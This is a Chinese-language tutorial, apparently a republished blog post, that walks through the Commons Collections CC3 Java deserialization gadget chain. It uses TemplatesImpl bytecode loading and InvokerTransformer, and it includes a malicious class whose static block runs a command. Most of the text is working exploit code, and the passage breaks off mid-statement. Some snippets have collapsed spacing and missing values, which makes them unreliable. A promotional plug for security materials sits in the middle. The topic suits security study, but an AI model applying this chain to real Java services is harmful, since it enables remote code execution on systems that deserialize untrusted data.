当前热议!CC1打不通时的另外一条链CC3
在CC1和CC6中,我们最终弹计算器都是通过Runtime.exec进行调用,从CC3我们要介绍一种不通过Runtime来弹计算器的方法,也就是Java中常提到的动态类加载,动态类加载可以让我们通过一个路径来加载一个恶意类,如果这个恶意类在静态代码块或构造代码块中写入了恶意方法,那么我们就可以通过找一条链子来初始化这个类(一般在进行实例化时会对类进行初始化),从而达到代码块中的代码执行。
ClassLoader中的defineClass最终实现了类的动态加载(后面还有一些过程但已经是依靠c来实现的了),在ClassLoader中可以看到一堆defineClass,我们查找用法,看一下哪个defineClass在别处被调用了,而且权限最好是default或者public,方便我们利用,最终锁定下面这个:
(资料图片)
protectedfinalClass>defineClass(Stringname, byte[] b, intoff, intlen)throwsClassFormatError
这个defineClass被调用的点在com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl.TransletClassLoader下,也是一个defineClass:
这个defineClass又在当前类中被defineTransletClasses调用:
defineTransletClasses同类下有三个被调用点,我们看一下哪个方法可以被我们利用:
【----帮助网安学习,需要网安学习资料,私信回复“资料”获取----】① 网安学习成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)
第一个返回_class:
privatesynchronizedClass[] getTransletClasses() {try {if (_class==null) defineTransletClasses();}catch (TransformerConfigurationExceptione) {// Falls through}return_class;}
第二个返回了_class的下标:
publicsynchronizedintgetTransletIndex() {try {if (_class==null) defineTransletClasses();}catch (TransformerConfigurationExceptione) {// Falls through}return_transletIndex;}
第三个方法我们主要看newInstance这里,这个_class[_transletIndex]可控(通过上面找到的defineTransletClasses动态加载进来),如果我们让_class为我们所构造的恶意类并让它newInstance,那么就可以执行恶意类中的静态/构造代码块中的代码,所以我们接着找这个方法的调用点:
privateTransletgetTransletInstance()throwsTransformerConfigurationException {try {if (_name==null) returnnull;if (_class==null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslettranslet= (AbstractTranslet) _class[_transletIndex].newInstance();
下一调用点还是在这个类中,我们找到newTransformer()这个方法:
publicsynchronizedTransformernewTransformer()throwsTransformerConfigurationException{TransformerImpltransformer;transformer=newTransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);
我们来梳理一下到目前的调用链,很短也很方便:
我们先将payload写出来:
TemplatesImpltemplatesimpl=newTemplatesImpl();templatesimpl.newTransformer();
写完啦 下班!(开个玩笑)逻辑上来说这两行代码确实是完整的调用链,我们接下来要做的就是对类内部的各种属性进行赋值:
newTransformer内不需要进行赋值操作,跟进到getTransletInstance中 ,类内没有对name和class进行赋值,如果想要触发defineTransletClasses()我们就需要让name不为空,class为空,直接不给_class赋值即可:
if (_name==null) returnnull;if (_class==null) defineTransletClasses();
继续跟进到defineTransletClasses中 ,如果想要走到下面动态加载class,我们这里要注意对tfactory进行赋值,否则对一个空属性调用方法,会爆空指针异常:
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
上一步之后我们在对class赋值这里可以看到是通过修改_bytecodes从而控制class的值:
for (inti=; i 一共三个需要修改的值,TemplatesImpl类是可序列化的,所以我们可以直接通过反射修改这些值,看一下这几个值的类型: privateString_name=null;privatebyte[][] _bytecodes=null;privatetransientTransformerFactoryImpl_tfactory=null; 都是private属性,所以要用setAccessible 来修改访问权限,name是String类型,所以直接赋个字符串就行: Classtmp=templatesimpl.getClass();FieldnameField=tmp.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templatesimpl,"y1"); 再看_bytecodes,一个二维数组,但我们在给_class赋值时defineClass接受的却是一个一维数组: for (inti=; i 所以我们给_bytecodes 赋值时可以将defineClass接收的一维数组放进_bytecodes这个二维数组中,这样在进行for循环遍历时就可以将这个一维数组遍历出来并传给defineClass,这个class需要我们在写好java源码后手动编译为class文件,最好把这个class文件复制到电脑上的别的地方再在这里使用(编译后的class文件一般在target下): FieldbytecodesField=tmp.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code=Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));byte[][] codes= {code};bytecodesField.set(templatesimpl,codes); Test.classpublicclassCalc {static{try {Runtime.getRuntime().exec("open -na Calculator"); //这里是mac弹计算器的命令} catch (IOExceptione) {//win下还是calcthrownewRuntimeException(e);}}} 然后我们再来改_tfactory的值: 这里要注意一下,被transient关键字修饰的属性是不参与序列化的,也就是说就算我们通过反射修改了它的值,反序列化后的二进制流这个属性的值也依旧是null,所以这里我们要用其他的方式赋值 private transient TransformerFactoryImpl _tfactory = null; 我们在readObject中发现有对这些属性进行赋值的操作,_tfactory的值是一个TransformerFactoryImpl实例: _name= (String)gf.get("_name", null);//以下几行代码对序列化流中的属性读取它们的值,如果读不到值那么将它的值设为默认值(第二个参数)_bytecodes= (byte[][])gf.get("_bytecodes", null);_class= (Class[])gf.get("_class", null);_transletIndex=gf.get("_transletIndex", -1);_outputProperties= (Properties)gf.get("_outputProperties", null);_indentNumber=gf.get("_indentNumber", );if (is.readBoolean()) {_uriResolver= (URIResolver) is.readObject();}_tfactory=newTransformerFactoryImpl();} 我们先不进行序列化和反序列化,我们先用反射修改_tfactory的值,看看能不能弹计算器(这里我们并没有进行序列化和反序列化,所以其实就是用反射修改了个值,所以是可以修改成功的): TemplatesImpltemplatesimpl=newTemplatesImpl();Classtmp=templatesimpl.getClass();FieldnameField=tmp.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templatesimpl,"y1");FieldbytecodesField=tmp.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code=Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));byte[][] codes= {code};bytecodesField.set(templatesimpl,codes);Fieldtfactoryfield=tmp.getDeclaredField("_tfactory");tfactoryfield.setAccessible(true);tfactoryfield.set(templatesimpl,newTransformerFactoryImpl());templatesimpl.newTransformer(); 没有弹出来计算器,爆了空指针异常,通过调试发现在_class成功加载类后,是这里抛出了异常: finalClasssuperClass=_class[i].getSuperclass();if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex=i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex<) {ErrorMsgerr=newErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);thrownewTransformerConfigurationException(err.toString());} 第一个if检查class的父类是否叫ABSTRACT_TRANSLET ,如果没有进入到if里面那么else中的auxClasses为空,就会抛空指针,并且下面第二个if中也会抛异常,为了避免这两个抛异常的点,我们需要将_class加载的恶意类继承名为ABSTRACT_TRANSLET 的父类: privatestaticStringABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importjava.lang.reflect.Field;importjava.nio.file.Files;importjava.nio.file.Path;importjava.nio.file.Paths;publicclassCC3Test {publicstaticvoidmain(String[] args) throwsException{TemplatesImpltemplatesimpl=newTemplatesImpl();Classtmp=templatesimpl.getClass();FieldnameField=tmp.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templatesimpl,"y1");FieldbytecodesField=tmp.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code=Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));byte[][] codes= {code};bytecodesField.set(templatesimpl,codes);Fieldtfactoryfield=tmp.getDeclaredField("_tfactory");tfactoryfield.setAccessible(true);tfactoryfield.set(templatesimpl,newTransformerFactoryImpl());templatesimpl.newTransformer();}} 下面我们要想办法执行templatesimpl.newTransformer,这里依旧是用CC1中用到的InvokerTransformer.transform进行代码的执行: TemplatesImpltemplatesimpl=newTemplatesImpl();Classtmp=templatesimpl.getClass();FieldnameField=tmp.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templatesimpl,"y1");FieldbytecodesField=tmp.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code=Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));byte[][] codes= {code};bytecodesField.set(templatesimpl,codes);Fieldtfactoryfield=tmp.getDeclaredField("_tfactory");tfactoryfield.setAccessible(true);tfactoryfield.set(templatesimpl,newTransformerFactoryImpl());ChainedTransformerctf=newChainedTransformer(newTransformer[]{newConstantTransformer(templatesimpl),newInvokerTransformer("newTransformer",null,null)});ctf.transform(1); 剩下的找Chainedtransformer.transform 的调用点就和CC1后面一样了,直接粘过来就是: packageysoserial.payloads.Test;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.TransformedMap;importjava.lang.annotation.Target;importjava.lang.reflect.Constructor;importjava.lang.reflect.Field;importjava.nio.file.Files;importjava.nio.file.Path;importjava.nio.file.Paths;importjava.util.HashMap;importjava.util.Map;importstaticysoserial.payloads.util.Test.util.Serialize.serialize;importstaticysoserial.payloads.util.Test.util.Unserialize.unserialize;publicclassCC3Test {publicstaticvoidmain(String[] args) throwsException{TemplatesImpltemplatesimpl=newTemplatesImpl();Classtmp=templatesimpl.getClass();FieldnameField=tmp.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templatesimpl,"y1");FieldbytecodesField=tmp.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code=Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));byte[][] codes= {code};bytecodesField.set(templatesimpl,codes);Fieldtfactoryfield=tmp.getDeclaredField("_tfactory");tfactoryfield.setAccessible(true);tfactoryfield.set(templatesimpl,newTransformerFactoryImpl());ChainedTransformerctf=newChainedTransformer(newTransformer[]{newConstantTransformer(templatesimpl),newInvokerTransformer("newTransformer",null,null)});HashMapmap=newHashMap();map.put("value","v");Map